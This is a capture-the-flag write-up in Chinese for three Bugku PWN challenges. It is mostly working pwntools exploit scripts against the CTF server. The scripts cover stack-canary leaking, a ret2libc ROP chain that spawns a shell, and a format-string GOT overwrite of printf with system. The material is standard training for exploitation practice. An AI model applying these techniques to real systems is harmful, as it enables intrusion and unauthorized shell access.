Bugku PWN WriteUp

vstral 最后更新于 3 小时前 0 次阅读 预计阅读时间: 3 分钟


canary

利用输出泄露Exp:

from pwn import *

#io = process('./pwn4_')
io = remote('114.67.175.224',14807)
context.log_level = 'debug'
elf = ELF('./pwn4_')

io.recvuntil(b'):')
io.sendline(b'a'*(0x240 - 8))
io.recvuntil(b'a'*(0x240 - 8))
canary = u64(io.recv(8)) - 0xa
print("canary: ", hex(canary))

io.recvuntil(b'):')
payload = b'a'*(0x210 - 8)+ p64(canary) + p64(0) + p64(0x400963) + p64(0x601068) + p64(0x40080C)
io.sendline(payload)

io.interactive()

One by one 爆破法

虽然每次启动程序时canary的值是不同的,但是同一进程中的不同线程的canary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。

所以当程序存在fork函数的时候就可以利用它来一字节一字节地爆破

bugku canary2

和第一题一样,就是调用system的时候注意栈对齐

from pwn import *
from LibcSearcher import *

#io = process('./pwn')
io = remote('114.67.175.224',14607)
context.log_level = 'debug'
elf = ELF('./pwn')
#gdb.attach(io)

io.sendlineafter(b'name: ',b'1')
io.recvuntil(b'yourself: ')
io.send(b'a'*0x18 + b'\n')
io.recvuntil(b'a'*0x18)
canary = u64(io.recv(8)) - 0xa
print("canary: " + hex(canary))

poprdi = 0x40071E
io.recvuntil(b'something: ')
payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(poprdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
io.sendline(payload)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print("puts_addr: " + hex(puts_addr))

payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(poprdi) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
io.sendlineafter(b'name: ',b'a')
io.sendlineafter(b'yourself: ',b'a')
io.sendlineafter(b'something: ',payload)
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
print("read_addr: " + hex(read_addr))

libc = LibcSearcher('puts',puts_addr)
libc.add_condition('read',read_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

ret = 0x400596
payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(ret) + p64(poprdi) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter(b'name: ',b'a')
io.sendlineafter(b'yourself: ',b'a')
io.sendlineafter(b'something: ',payload)


io.interactive()

repeater

利用格式化字符串漏洞先把printf的got地址改成system,然后利用下一次read输入binsh即可

from pwn import *
from LibcSearcher import LibcSearcher

io = remote('114.67.175.224',15025)
elf = ELF('./pwn7')

context.log_level = 'debug'

payload = p32(elf.got['puts']) + b'%6$s'
io.sendlineafter(b'Do you know repeater?\n',payload)

puts_addr = u32(io.recv(8)[-4:])
print("puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system =   libcbase + libc.dump('system')

payload = fmtstr_payload(6,{elf.got['printf']:system})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')

io.interactive()
此作者没有提供个人介绍
最后更新于 2025-02-05